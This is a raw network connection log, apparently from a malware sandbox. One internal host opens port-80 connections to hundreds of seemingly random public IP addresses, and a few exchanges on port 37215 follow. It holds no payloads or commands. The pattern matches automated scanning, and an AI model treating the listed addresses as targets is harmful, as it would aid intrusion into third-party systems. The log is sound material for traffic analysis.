Dec 3, 2024 23:16:51.203174114 CET	42014	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:51.203174114 CET	42014	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:51.203175068 CET	41516	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:51.203177929 CET	60694	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:51.203188896 CET	41702	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:51.203188896 CET	41702	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:51.203190088 CET	58850	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:51.203190088 CET	60796	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:51.203190088 CET	58850	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:51.203190088 CET	60796	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:51.203197002 CET	41516	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:51.203208923 CET	40596	80	192.168.2.23	98.23.1.12
Dec 3, 2024 23:16:51.203208923 CET	40596	80	192.168.2.23	57.118.124.196
Dec 3, 2024 23:16:51.203210115 CET	60694	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:51.203216076 CET	40596	80	192.168.2.23	67.186.194.136
Dec 3, 2024 23:16:51.203242064 CET	40596	80	192.168.2.23	85.157.24.226
Dec 3, 2024 23:16:51.203243971 CET	40596	80	192.168.2.23	42.96.90.150
Dec 3, 2024 23:16:51.203246117 CET	40596	80	192.168.2.23	153.109.96.159
Dec 3, 2024 23:16:51.203243017 CET	40596	80	192.168.2.23	168.72.114.103
Dec 3, 2024 23:16:51.203246117 CET	40596	80	192.168.2.23	173.42.62.157
Dec 3, 2024 23:16:51.203244925 CET	40596	80	192.168.2.23	49.110.34.127
Dec 3, 2024 23:16:51.203253031 CET	40596	80	192.168.2.23	155.249.225.208
Dec 3, 2024 23:16:51.203253984 CET	40596	80	192.168.2.23	24.151.80.218
Dec 3, 2024 23:16:51.203255892 CET	40596	80	192.168.2.23	17.125.176.72
Dec 3, 2024 23:16:51.203262091 CET	40596	80	192.168.2.23	37.65.67.100
Dec 3, 2024 23:16:51.203294992 CET	40596	80	192.168.2.23	172.12.245.245
Dec 3, 2024 23:16:51.203294992 CET	40596	80	192.168.2.23	112.5.208.151
Dec 3, 2024 23:16:51.203296900 CET	40596	80	192.168.2.23	145.113.252.72
Dec 3, 2024 23:16:51.203326941 CET	40596	80	192.168.2.23	209.190.249.42
Dec 3, 2024 23:16:51.203327894 CET	40596	80	192.168.2.23	18.111.119.29
Dec 3, 2024 23:16:51.203327894 CET	40596	80	192.168.2.23	47.128.195.151
Dec 3, 2024 23:16:51.203339100 CET	40596	80	192.168.2.23	90.221.197.13
Dec 3, 2024 23:16:51.203340054 CET	40596	80	192.168.2.23	63.193.57.207
Dec 3, 2024 23:16:51.203351021 CET	40596	80	192.168.2.23	204.119.252.128
Dec 3, 2024 23:16:51.203357935 CET	40596	80	192.168.2.23	218.183.165.194
Dec 3, 2024 23:16:51.203370094 CET	40596	80	192.168.2.23	78.179.212.75
Dec 3, 2024 23:16:51.203370094 CET	40596	80	192.168.2.23	111.136.207.131
Dec 3, 2024 23:16:51.203376055 CET	40596	80	192.168.2.23	189.194.20.52
Dec 3, 2024 23:16:51.203376055 CET	40596	80	192.168.2.23	75.149.241.118
Dec 3, 2024 23:16:51.203386068 CET	40596	80	192.168.2.23	86.83.142.240
Dec 3, 2024 23:16:51.203396082 CET	40596	80	192.168.2.23	58.232.15.187
Dec 3, 2024 23:16:51.203406096 CET	40596	80	192.168.2.23	20.158.90.13
Dec 3, 2024 23:16:51.203406096 CET	40596	80	192.168.2.23	165.55.52.152
Dec 3, 2024 23:16:51.203406096 CET	40596	80	192.168.2.23	73.232.89.154
Dec 3, 2024 23:16:51.203408003 CET	40596	80	192.168.2.23	83.183.111.181
Dec 3, 2024 23:16:51.203408957 CET	40596	80	192.168.2.23	203.227.48.223
Dec 3, 2024 23:16:51.203428984 CET	40596	80	192.168.2.23	13.93.13.182
Dec 3, 2024 23:16:51.203428984 CET	40596	80	192.168.2.23	38.38.0.171
Dec 3, 2024 23:16:51.203434944 CET	40596	80	192.168.2.23	133.228.82.139
Dec 3, 2024 23:16:51.203435898 CET	40596	80	192.168.2.23	43.185.144.103
Dec 3, 2024 23:16:51.203444004 CET	40596	80	192.168.2.23	94.37.109.117
Dec 3, 2024 23:16:51.203450918 CET	40596	80	192.168.2.23	77.238.113.6
Dec 3, 2024 23:16:51.203455925 CET	40596	80	192.168.2.23	99.202.233.79
Dec 3, 2024 23:16:51.203455925 CET	40596	80	192.168.2.23	72.200.147.109
Dec 3, 2024 23:16:51.203460932 CET	40596	80	192.168.2.23	120.141.19.176
Dec 3, 2024 23:16:51.203463078 CET	40596	80	192.168.2.23	201.121.79.112
Dec 3, 2024 23:16:51.203466892 CET	40596	80	192.168.2.23	74.199.6.183
Dec 3, 2024 23:16:51.203473091 CET	40596	80	192.168.2.23	183.221.51.233
Dec 3, 2024 23:16:51.203484058 CET	40596	80	192.168.2.23	188.100.216.100
Dec 3, 2024 23:16:51.203484058 CET	40596	80	192.168.2.23	163.202.207.133
Dec 3, 2024 23:16:51.203500032 CET	40596	80	192.168.2.23	139.234.165.233
Dec 3, 2024 23:16:51.203505039 CET	40596	80	192.168.2.23	123.34.26.211
Dec 3, 2024 23:16:51.203506947 CET	40596	80	192.168.2.23	135.161.179.167
Dec 3, 2024 23:16:51.203511000 CET	40596	80	192.168.2.23	58.8.72.86
Dec 3, 2024 23:16:51.203512907 CET	40596	80	192.168.2.23	42.51.229.119
Dec 3, 2024 23:16:51.203521013 CET	40596	80	192.168.2.23	104.166.83.100
Dec 3, 2024 23:16:51.203531027 CET	40596	80	192.168.2.23	71.116.74.140
Dec 3, 2024 23:16:51.203536034 CET	40596	80	192.168.2.23	192.178.215.142
Dec 3, 2024 23:16:51.203537941 CET	40596	80	192.168.2.23	98.42.212.90
Dec 3, 2024 23:16:51.203546047 CET	40596	80	192.168.2.23	13.96.236.87
Dec 3, 2024 23:16:51.203555107 CET	40596	80	192.168.2.23	74.1.232.109
Dec 3, 2024 23:16:51.203555107 CET	40596	80	192.168.2.23	167.217.216.180
Dec 3, 2024 23:16:51.203556061 CET	40596	80	192.168.2.23	143.96.190.71
Dec 3, 2024 23:16:51.203573942 CET	40596	80	192.168.2.23	178.106.191.255
Dec 3, 2024 23:16:51.203578949 CET	40596	80	192.168.2.23	221.235.150.105
Dec 3, 2024 23:16:51.203579903 CET	40596	80	192.168.2.23	48.1.6.168
Dec 3, 2024 23:16:51.203588009 CET	40596	80	192.168.2.23	79.250.149.229
Dec 3, 2024 23:16:51.203599930 CET	40596	80	192.168.2.23	179.138.33.145
Dec 3, 2024 23:16:51.203603029 CET	40596	80	192.168.2.23	85.100.28.64
Dec 3, 2024 23:16:51.203608036 CET	40596	80	192.168.2.23	211.102.95.210
Dec 3, 2024 23:16:51.203622103 CET	40596	80	192.168.2.23	147.253.220.90
Dec 3, 2024 23:16:51.203627110 CET	40596	80	192.168.2.23	65.116.75.6
Dec 3, 2024 23:16:51.203629971 CET	40596	80	192.168.2.23	179.255.247.74
Dec 3, 2024 23:16:51.203634024 CET	40596	80	192.168.2.23	132.213.12.103
Dec 3, 2024 23:16:51.203635931 CET	40596	80	192.168.2.23	65.135.14.176
Dec 3, 2024 23:16:51.203653097 CET	40596	80	192.168.2.23	77.46.250.131
Dec 3, 2024 23:16:51.203661919 CET	40596	80	192.168.2.23	112.242.228.59
Dec 3, 2024 23:16:51.203663111 CET	40596	80	192.168.2.23	147.188.153.30
Dec 3, 2024 23:16:51.203664064 CET	40596	80	192.168.2.23	109.25.182.134
Dec 3, 2024 23:16:51.203665018 CET	40596	80	192.168.2.23	213.193.134.191
Dec 3, 2024 23:16:51.203666925 CET	40596	80	192.168.2.23	125.172.206.209
Dec 3, 2024 23:16:51.203666925 CET	40596	80	192.168.2.23	156.92.170.52
Dec 3, 2024 23:16:51.203672886 CET	40596	80	192.168.2.23	158.98.96.112
Dec 3, 2024 23:16:51.203685045 CET	40596	80	192.168.2.23	220.201.217.178
Dec 3, 2024 23:16:51.203685045 CET	40596	80	192.168.2.23	192.155.226.89
Dec 3, 2024 23:16:51.203704119 CET	40596	80	192.168.2.23	187.45.88.21
Dec 3, 2024 23:16:51.203704119 CET	40596	80	192.168.2.23	197.155.255.52
Dec 3, 2024 23:16:51.203718901 CET	40596	80	192.168.2.23	27.91.171.21
Dec 3, 2024 23:16:51.203723907 CET	40596	80	192.168.2.23	138.144.89.213
Dec 3, 2024 23:16:51.203723907 CET	40596	80	192.168.2.23	181.64.161.15
Dec 3, 2024 23:16:51.203737020 CET	40596	80	192.168.2.23	64.165.66.139
Dec 3, 2024 23:16:51.203742981 CET	40596	80	192.168.2.23	213.232.18.35
Dec 3, 2024 23:16:51.203744888 CET	40596	80	192.168.2.23	162.125.157.161
Dec 3, 2024 23:16:51.203753948 CET	40596	80	192.168.2.23	198.240.134.155
Dec 3, 2024 23:16:51.203756094 CET	40596	80	192.168.2.23	65.254.114.119
Dec 3, 2024 23:16:51.203774929 CET	40596	80	192.168.2.23	211.233.181.37
Dec 3, 2024 23:16:51.203774929 CET	40596	80	192.168.2.23	221.37.198.191
Dec 3, 2024 23:16:51.203788042 CET	40596	80	192.168.2.23	149.19.64.150
Dec 3, 2024 23:16:51.203790903 CET	40596	80	192.168.2.23	18.241.41.117
Dec 3, 2024 23:16:51.203794003 CET	40596	80	192.168.2.23	137.18.157.144
Dec 3, 2024 23:16:51.203794003 CET	40596	80	192.168.2.23	47.199.116.47
Dec 3, 2024 23:16:51.203799963 CET	40596	80	192.168.2.23	197.171.162.203
Dec 3, 2024 23:16:51.203808069 CET	40596	80	192.168.2.23	109.80.173.14
Dec 3, 2024 23:16:51.203809977 CET	40596	80	192.168.2.23	88.4.3.252
Dec 3, 2024 23:16:51.203821898 CET	40596	80	192.168.2.23	105.192.122.82
Dec 3, 2024 23:16:51.203826904 CET	40596	80	192.168.2.23	37.4.183.171
Dec 3, 2024 23:16:51.203830004 CET	40596	80	192.168.2.23	130.19.238.96
Dec 3, 2024 23:16:51.203830957 CET	40596	80	192.168.2.23	62.84.77.159
Dec 3, 2024 23:16:51.203846931 CET	40596	80	192.168.2.23	40.245.216.11
Dec 3, 2024 23:16:51.203846931 CET	40596	80	192.168.2.23	132.66.47.52
Dec 3, 2024 23:16:51.203851938 CET	40596	80	192.168.2.23	118.184.92.10
Dec 3, 2024 23:16:51.203861952 CET	40596	80	192.168.2.23	37.83.152.196
Dec 3, 2024 23:16:51.203866959 CET	40596	80	192.168.2.23	124.233.176.108
Dec 3, 2024 23:16:51.203879118 CET	40596	80	192.168.2.23	24.203.246.201
Dec 3, 2024 23:16:51.203881979 CET	40596	80	192.168.2.23	149.166.133.79
Dec 3, 2024 23:16:51.203881979 CET	40596	80	192.168.2.23	81.25.145.136
Dec 3, 2024 23:16:51.203886032 CET	40596	80	192.168.2.23	8.215.162.114
Dec 3, 2024 23:16:51.203891039 CET	40596	80	192.168.2.23	208.50.130.68
Dec 3, 2024 23:16:51.203902960 CET	40596	80	192.168.2.23	53.91.24.19
Dec 3, 2024 23:16:51.203902960 CET	40596	80	192.168.2.23	195.245.216.217
Dec 3, 2024 23:16:51.203912020 CET	40596	80	192.168.2.23	77.254.162.196
Dec 3, 2024 23:16:51.203926086 CET	40596	80	192.168.2.23	116.75.9.78
Dec 3, 2024 23:16:51.203937054 CET	40596	80	192.168.2.23	4.152.5.176
Dec 3, 2024 23:16:51.203937054 CET	40596	80	192.168.2.23	156.252.176.203
Dec 3, 2024 23:16:51.203938007 CET	40596	80	192.168.2.23	180.184.57.201
Dec 3, 2024 23:16:51.203938007 CET	40596	80	192.168.2.23	113.129.237.211
Dec 3, 2024 23:16:51.203939915 CET	40596	80	192.168.2.23	96.25.213.227
Dec 3, 2024 23:16:51.203939915 CET	40596	80	192.168.2.23	105.169.130.109
Dec 3, 2024 23:16:51.203944921 CET	40596	80	192.168.2.23	42.186.149.26
Dec 3, 2024 23:16:51.203948021 CET	40596	80	192.168.2.23	173.41.105.249
Dec 3, 2024 23:16:51.203948021 CET	40596	80	192.168.2.23	108.83.136.165
Dec 3, 2024 23:16:51.203949928 CET	40596	80	192.168.2.23	167.123.30.58
Dec 3, 2024 23:16:51.203949928 CET	40596	80	192.168.2.23	133.97.232.13
Dec 3, 2024 23:16:51.203954935 CET	40596	80	192.168.2.23	27.102.16.235
Dec 3, 2024 23:16:51.203963995 CET	40596	80	192.168.2.23	79.16.100.1
Dec 3, 2024 23:16:51.203968048 CET	40596	80	192.168.2.23	57.241.229.217
Dec 3, 2024 23:16:51.203979015 CET	40596	80	192.168.2.23	221.126.166.132
Dec 3, 2024 23:16:51.203979015 CET	40596	80	192.168.2.23	141.53.115.27
Dec 3, 2024 23:16:51.203980923 CET	40596	80	192.168.2.23	46.174.240.196
Dec 3, 2024 23:16:51.203983068 CET	40596	80	192.168.2.23	174.254.54.159
Dec 3, 2024 23:16:51.203983068 CET	40596	80	192.168.2.23	83.169.222.63
Dec 3, 2024 23:16:51.203983068 CET	40596	80	192.168.2.23	4.251.253.169
Dec 3, 2024 23:16:51.203985929 CET	40596	80	192.168.2.23	93.173.113.88
Dec 3, 2024 23:16:51.203989983 CET	40596	80	192.168.2.23	195.137.194.77
Dec 3, 2024 23:16:51.203989983 CET	40596	80	192.168.2.23	93.76.241.95
Dec 3, 2024 23:16:51.203989983 CET	40596	80	192.168.2.23	97.33.131.6
Dec 3, 2024 23:16:51.203994036 CET	40596	80	192.168.2.23	160.97.17.249
Dec 3, 2024 23:16:51.203994036 CET	40596	80	192.168.2.23	60.43.140.43
Dec 3, 2024 23:16:51.203995943 CET	40596	80	192.168.2.23	83.134.138.108
Dec 3, 2024 23:16:51.204006910 CET	40596	80	192.168.2.23	8.13.182.109
Dec 3, 2024 23:16:51.204006910 CET	40596	80	192.168.2.23	46.70.189.207
Dec 3, 2024 23:16:51.204006910 CET	40596	80	192.168.2.23	52.78.119.222
Dec 3, 2024 23:16:51.204021931 CET	40596	80	192.168.2.23	217.109.80.247
Dec 3, 2024 23:16:51.204022884 CET	40596	80	192.168.2.23	64.39.47.182
Dec 3, 2024 23:16:51.204024076 CET	40596	80	192.168.2.23	67.190.110.194
Dec 3, 2024 23:16:51.204024076 CET	40596	80	192.168.2.23	199.20.93.125
Dec 3, 2024 23:16:51.204025030 CET	40596	80	192.168.2.23	97.21.175.133
Dec 3, 2024 23:16:51.204025030 CET	40596	80	192.168.2.23	50.29.129.237
Dec 3, 2024 23:16:51.204025030 CET	40596	80	192.168.2.23	133.32.200.196
Dec 3, 2024 23:16:51.204025030 CET	40596	80	192.168.2.23	197.216.10.96
Dec 3, 2024 23:16:51.204032898 CET	40596	80	192.168.2.23	64.166.137.182
Dec 3, 2024 23:16:51.204037905 CET	40596	80	192.168.2.23	141.2.98.131
Dec 3, 2024 23:16:51.204037905 CET	40596	80	192.168.2.23	177.114.44.186
Dec 3, 2024 23:16:51.204037905 CET	40596	80	192.168.2.23	130.203.171.48
Dec 3, 2024 23:16:51.204042912 CET	40596	80	192.168.2.23	211.16.124.76
Dec 3, 2024 23:16:51.204042912 CET	40596	80	192.168.2.23	9.210.197.104
Dec 3, 2024 23:16:51.204054117 CET	40596	80	192.168.2.23	1.187.159.59
Dec 3, 2024 23:16:51.204055071 CET	40596	80	192.168.2.23	4.206.231.141
Dec 3, 2024 23:16:51.204060078 CET	40596	80	192.168.2.23	149.206.78.156
Dec 3, 2024 23:16:51.204062939 CET	40596	80	192.168.2.23	69.248.199.239
Dec 3, 2024 23:16:51.204062939 CET	40596	80	192.168.2.23	153.1.133.204
Dec 3, 2024 23:16:51.204080105 CET	40596	80	192.168.2.23	145.218.53.164
Dec 3, 2024 23:16:51.204081059 CET	40596	80	192.168.2.23	19.199.34.52
Dec 3, 2024 23:16:51.204086065 CET	40596	80	192.168.2.23	53.118.111.164
Dec 3, 2024 23:16:51.204087019 CET	40596	80	192.168.2.23	67.186.210.125
Dec 3, 2024 23:16:51.204102993 CET	40596	80	192.168.2.23	70.227.40.157
Dec 3, 2024 23:16:51.204106092 CET	40596	80	192.168.2.23	152.220.91.74
Dec 3, 2024 23:16:51.204109907 CET	40596	80	192.168.2.23	194.83.154.7
Dec 3, 2024 23:16:51.204109907 CET	40596	80	192.168.2.23	145.24.44.14
Dec 3, 2024 23:16:51.204123974 CET	40596	80	192.168.2.23	71.41.213.199
Dec 3, 2024 23:16:51.204129934 CET	40596	80	192.168.2.23	76.229.242.111
Dec 3, 2024 23:16:51.204132080 CET	40596	80	192.168.2.23	150.195.35.109
Dec 3, 2024 23:16:51.204138994 CET	40596	80	192.168.2.23	43.224.28.143
Dec 3, 2024 23:16:51.204144955 CET	40596	80	192.168.2.23	120.173.189.117
Dec 3, 2024 23:16:51.204163074 CET	40596	80	192.168.2.23	216.144.174.182
Dec 3, 2024 23:16:51.204163074 CET	40596	80	192.168.2.23	221.228.66.92
Dec 3, 2024 23:16:51.204164028 CET	40596	80	192.168.2.23	89.56.146.167
Dec 3, 2024 23:16:51.204164982 CET	40596	80	192.168.2.23	107.218.141.157
Dec 3, 2024 23:16:51.204179049 CET	40596	80	192.168.2.23	203.125.59.146
Dec 3, 2024 23:16:51.204179049 CET	40596	80	192.168.2.23	125.210.110.12
Dec 3, 2024 23:16:51.204179049 CET	40596	80	192.168.2.23	19.241.213.43
Dec 3, 2024 23:16:51.204183102 CET	40596	80	192.168.2.23	69.200.99.182
Dec 3, 2024 23:16:51.204185963 CET	40596	80	192.168.2.23	131.153.203.242
Dec 3, 2024 23:16:51.204190016 CET	40596	80	192.168.2.23	45.26.129.92
Dec 3, 2024 23:16:51.204200983 CET	40596	80	192.168.2.23	18.240.192.17
Dec 3, 2024 23:16:51.204200983 CET	40596	80	192.168.2.23	155.105.86.247
Dec 3, 2024 23:16:51.204210043 CET	40596	80	192.168.2.23	60.58.12.36
Dec 3, 2024 23:16:51.204216003 CET	40596	80	192.168.2.23	40.45.113.71
Dec 3, 2024 23:16:51.204227924 CET	40596	80	192.168.2.23	27.168.59.130
Dec 3, 2024 23:16:51.204236031 CET	40596	80	192.168.2.23	160.228.2.61
Dec 3, 2024 23:16:51.204240084 CET	40596	80	192.168.2.23	101.16.231.184
Dec 3, 2024 23:16:51.204240084 CET	40596	80	192.168.2.23	110.231.125.113
Dec 3, 2024 23:16:51.204240084 CET	40596	80	192.168.2.23	140.164.114.89
Dec 3, 2024 23:16:51.204252958 CET	40596	80	192.168.2.23	61.151.214.66
Dec 3, 2024 23:16:51.204258919 CET	40596	80	192.168.2.23	91.234.94.248
Dec 3, 2024 23:16:51.204261065 CET	40596	80	192.168.2.23	145.181.3.32
Dec 3, 2024 23:16:51.204266071 CET	40596	80	192.168.2.23	123.198.203.193
Dec 3, 2024 23:16:51.204266071 CET	40596	80	192.168.2.23	4.137.56.255
Dec 3, 2024 23:16:51.204274893 CET	40596	80	192.168.2.23	58.1.16.233
Dec 3, 2024 23:16:51.204287052 CET	40596	80	192.168.2.23	197.148.124.64
Dec 3, 2024 23:16:51.204297066 CET	40596	80	192.168.2.23	195.22.24.33
Dec 3, 2024 23:16:51.204298973 CET	40596	80	192.168.2.23	25.205.38.122
Dec 3, 2024 23:16:51.204303026 CET	40596	80	192.168.2.23	41.113.120.139
Dec 3, 2024 23:16:51.204313040 CET	40596	80	192.168.2.23	222.82.14.113
Dec 3, 2024 23:16:51.204313040 CET	40596	80	192.168.2.23	32.158.177.237
Dec 3, 2024 23:16:51.204323053 CET	40596	80	192.168.2.23	151.66.82.53
Dec 3, 2024 23:16:51.204324007 CET	40596	80	192.168.2.23	141.86.136.179
Dec 3, 2024 23:16:51.204330921 CET	40596	80	192.168.2.23	72.99.112.239
Dec 3, 2024 23:16:51.204330921 CET	40596	80	192.168.2.23	45.174.159.128
Dec 3, 2024 23:16:51.204341888 CET	40596	80	192.168.2.23	195.87.192.25
Dec 3, 2024 23:16:51.204348087 CET	40596	80	192.168.2.23	166.47.41.237
Dec 3, 2024 23:16:51.204361916 CET	40596	80	192.168.2.23	8.129.215.9
Dec 3, 2024 23:16:51.204365015 CET	40596	80	192.168.2.23	145.139.250.59
Dec 3, 2024 23:16:51.204368114 CET	40596	80	192.168.2.23	70.104.198.41
Dec 3, 2024 23:16:51.204385996 CET	40596	80	192.168.2.23	162.181.219.24
Dec 3, 2024 23:16:51.204385996 CET	40596	80	192.168.2.23	151.110.61.57
Dec 3, 2024 23:16:51.204387903 CET	40596	80	192.168.2.23	169.166.164.65
Dec 3, 2024 23:16:51.204387903 CET	40596	80	192.168.2.23	116.41.243.45
Dec 3, 2024 23:16:51.204389095 CET	40596	80	192.168.2.23	218.202.254.68
Dec 3, 2024 23:16:51.204395056 CET	40596	80	192.168.2.23	91.236.218.119
Dec 3, 2024 23:16:51.204396009 CET	40596	80	192.168.2.23	53.52.94.153
Dec 3, 2024 23:16:51.204396963 CET	40596	80	192.168.2.23	96.201.167.137
Dec 3, 2024 23:16:51.204416990 CET	40596	80	192.168.2.23	97.89.167.131
Dec 3, 2024 23:16:51.204416990 CET	40596	80	192.168.2.23	49.101.52.71
Dec 3, 2024 23:16:51.204420090 CET	40596	80	192.168.2.23	107.174.24.41
Dec 3, 2024 23:16:51.204426050 CET	40596	80	192.168.2.23	78.189.219.177
Dec 3, 2024 23:16:51.204426050 CET	40596	80	192.168.2.23	106.237.26.60
Dec 3, 2024 23:16:51.204431057 CET	40596	80	192.168.2.23	117.3.252.26
Dec 3, 2024 23:16:51.204452038 CET	40596	80	192.168.2.23	129.207.125.206
Dec 3, 2024 23:16:51.204452991 CET	40596	80	192.168.2.23	182.69.49.77
Dec 3, 2024 23:16:51.204463005 CET	40596	80	192.168.2.23	161.247.211.218
Dec 3, 2024 23:16:51.204463005 CET	40596	80	192.168.2.23	177.15.100.195
Dec 3, 2024 23:16:51.204463005 CET	40596	80	192.168.2.23	96.141.45.144
Dec 3, 2024 23:16:51.204463959 CET	40596	80	192.168.2.23	12.197.2.24
Dec 3, 2024 23:16:51.204464912 CET	40596	80	192.168.2.23	220.179.234.167
Dec 3, 2024 23:16:51.204468966 CET	40596	80	192.168.2.23	54.122.219.102
Dec 3, 2024 23:16:51.204478979 CET	40596	80	192.168.2.23	139.79.211.61
Dec 3, 2024 23:16:51.204487085 CET	40596	80	192.168.2.23	76.167.103.3
Dec 3, 2024 23:16:51.204492092 CET	40596	80	192.168.2.23	38.135.199.218
Dec 3, 2024 23:16:51.204508066 CET	40596	80	192.168.2.23	121.71.153.59
Dec 3, 2024 23:16:51.204509974 CET	40596	80	192.168.2.23	74.105.202.217
Dec 3, 2024 23:16:51.204508066 CET	40596	80	192.168.2.23	184.145.240.130
Dec 3, 2024 23:16:51.204509974 CET	40596	80	192.168.2.23	126.116.235.25
Dec 3, 2024 23:16:51.204514027 CET	40596	80	192.168.2.23	186.189.70.61
Dec 3, 2024 23:16:51.204514027 CET	40596	80	192.168.2.23	24.121.132.37
Dec 3, 2024 23:16:51.204519987 CET	40596	80	192.168.2.23	217.104.241.152
Dec 3, 2024 23:16:51.204526901 CET	40596	80	192.168.2.23	137.58.193.142
Dec 3, 2024 23:16:51.204539061 CET	40596	80	192.168.2.23	209.94.156.81
Dec 3, 2024 23:16:51.204540968 CET	40596	80	192.168.2.23	208.79.162.0
Dec 3, 2024 23:16:51.204550028 CET	40596	80	192.168.2.23	23.237.204.51
Dec 3, 2024 23:16:51.204550028 CET	40596	80	192.168.2.23	75.88.242.39
Dec 3, 2024 23:16:51.204564095 CET	40596	80	192.168.2.23	140.96.53.89
Dec 3, 2024 23:16:51.204569101 CET	40596	80	192.168.2.23	17.204.52.59
Dec 3, 2024 23:16:51.204571962 CET	40596	80	192.168.2.23	136.223.133.116
Dec 3, 2024 23:16:51.204579115 CET	40596	80	192.168.2.23	187.152.59.159
Dec 3, 2024 23:16:51.204586983 CET	40596	80	192.168.2.23	192.198.76.74
Dec 3, 2024 23:16:51.204593897 CET	40596	80	192.168.2.23	38.156.140.56
Dec 3, 2024 23:16:51.204601049 CET	40596	80	192.168.2.23	42.166.202.125
Dec 3, 2024 23:16:51.204605103 CET	40596	80	192.168.2.23	187.208.85.211
Dec 3, 2024 23:16:51.204607964 CET	40596	80	192.168.2.23	165.63.43.74
Dec 3, 2024 23:16:51.204607964 CET	40596	80	192.168.2.23	218.120.75.152
Dec 3, 2024 23:16:51.204624891 CET	40596	80	192.168.2.23	53.170.36.40
Dec 3, 2024 23:16:51.204628944 CET	40596	80	192.168.2.23	156.129.186.59
Dec 3, 2024 23:16:51.204647064 CET	40596	80	192.168.2.23	106.14.91.180
Dec 3, 2024 23:16:51.204647064 CET	40596	80	192.168.2.23	48.143.195.91
Dec 3, 2024 23:16:51.204647064 CET	40596	80	192.168.2.23	34.15.95.122
Dec 3, 2024 23:16:51.204651117 CET	40596	80	192.168.2.23	175.163.205.14
Dec 3, 2024 23:16:51.204651117 CET	40596	80	192.168.2.23	154.61.99.173
Dec 3, 2024 23:16:51.204653978 CET	40596	80	192.168.2.23	206.214.217.164
Dec 3, 2024 23:16:51.204660892 CET	40596	80	192.168.2.23	157.71.69.21
Dec 3, 2024 23:16:51.204679966 CET	40596	80	192.168.2.23	173.35.111.72
Dec 3, 2024 23:16:51.204679966 CET	40596	80	192.168.2.23	140.68.58.170
Dec 3, 2024 23:16:51.204687119 CET	40596	80	192.168.2.23	172.188.79.238
Dec 3, 2024 23:16:51.204688072 CET	40596	80	192.168.2.23	61.99.4.65
Dec 3, 2024 23:16:51.204690933 CET	40596	80	192.168.2.23	179.130.13.25
Dec 3, 2024 23:16:51.204690933 CET	40596	80	192.168.2.23	93.16.206.80
Dec 3, 2024 23:16:51.204703093 CET	40596	80	192.168.2.23	74.251.66.120
Dec 3, 2024 23:16:51.204708099 CET	40596	80	192.168.2.23	177.189.187.148
Dec 3, 2024 23:16:51.204713106 CET	40596	80	192.168.2.23	169.31.199.124
Dec 3, 2024 23:16:51.204731941 CET	40596	80	192.168.2.23	210.59.25.247
Dec 3, 2024 23:16:51.204731941 CET	40596	80	192.168.2.23	169.75.82.44
Dec 3, 2024 23:16:51.204736948 CET	40596	80	192.168.2.23	39.179.93.158
Dec 3, 2024 23:16:51.204739094 CET	40596	80	192.168.2.23	75.115.147.41
Dec 3, 2024 23:16:51.204741955 CET	40596	80	192.168.2.23	50.93.146.88
Dec 3, 2024 23:16:51.204761982 CET	40596	80	192.168.2.23	174.141.30.72
Dec 3, 2024 23:16:51.204760075 CET	40596	80	192.168.2.23	51.221.133.35
Dec 3, 2024 23:16:51.204780102 CET	40596	80	192.168.2.23	104.220.239.26
Dec 3, 2024 23:16:51.204780102 CET	40596	80	192.168.2.23	72.157.35.236
Dec 3, 2024 23:16:51.204797029 CET	40596	80	192.168.2.23	110.160.55.40
Dec 3, 2024 23:16:51.204797029 CET	40596	80	192.168.2.23	125.158.168.165
Dec 3, 2024 23:16:51.204797029 CET	40596	80	192.168.2.23	65.141.30.110
Dec 3, 2024 23:16:51.204816103 CET	40596	80	192.168.2.23	23.111.243.35
Dec 3, 2024 23:16:51.204818964 CET	40596	80	192.168.2.23	27.53.28.194
Dec 3, 2024 23:16:51.204828024 CET	40596	80	192.168.2.23	126.17.60.242
Dec 3, 2024 23:16:51.204833031 CET	40596	80	192.168.2.23	70.26.233.31
Dec 3, 2024 23:16:51.204845905 CET	40596	80	192.168.2.23	153.222.84.61
Dec 3, 2024 23:16:51.204854965 CET	40596	80	192.168.2.23	164.53.169.164
Dec 3, 2024 23:16:51.204858065 CET	40596	80	192.168.2.23	60.35.44.11
Dec 3, 2024 23:16:51.204863071 CET	40596	80	192.168.2.23	102.253.101.70
Dec 3, 2024 23:16:51.204863071 CET	40596	80	192.168.2.23	47.120.165.132
Dec 3, 2024 23:16:51.204879045 CET	40596	80	192.168.2.23	123.7.154.34
Dec 3, 2024 23:16:51.204883099 CET	40596	80	192.168.2.23	175.73.222.113
Dec 3, 2024 23:16:51.204898119 CET	40596	80	192.168.2.23	99.15.43.16
Dec 3, 2024 23:16:51.204899073 CET	40596	80	192.168.2.23	99.34.235.228
Dec 3, 2024 23:16:51.204904079 CET	40596	80	192.168.2.23	168.25.113.7
Dec 3, 2024 23:16:51.204904079 CET	40596	80	192.168.2.23	103.65.242.121
Dec 3, 2024 23:16:51.204906940 CET	40596	80	192.168.2.23	78.9.253.102
Dec 3, 2024 23:16:51.204916000 CET	40596	80	192.168.2.23	88.13.151.25
Dec 3, 2024 23:16:51.204931021 CET	40596	80	192.168.2.23	158.12.88.105
Dec 3, 2024 23:16:51.204931021 CET	40596	80	192.168.2.23	201.133.217.110
Dec 3, 2024 23:16:51.204931021 CET	40596	80	192.168.2.23	88.226.113.39
Dec 3, 2024 23:16:51.204935074 CET	40596	80	192.168.2.23	72.10.56.47
Dec 3, 2024 23:16:51.230963945 CET	37215	39802	156.202.143.176	192.168.2.23
Dec 3, 2024 23:16:51.231367111 CET	37215	39952	156.202.143.176	192.168.2.23
Dec 3, 2024 23:16:51.231410027 CET	39952	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.231441975 CET	39952	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.231585979 CET	37215	35454	197.99.145.0	192.168.2.23
Dec 3, 2024 23:16:51.231627941 CET	35454	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:51.231700897 CET	37215	33164	156.104.224.250	192.168.2.23
Dec 3, 2024 23:16:51.231759071 CET	37215	33310	156.104.224.250	192.168.2.23
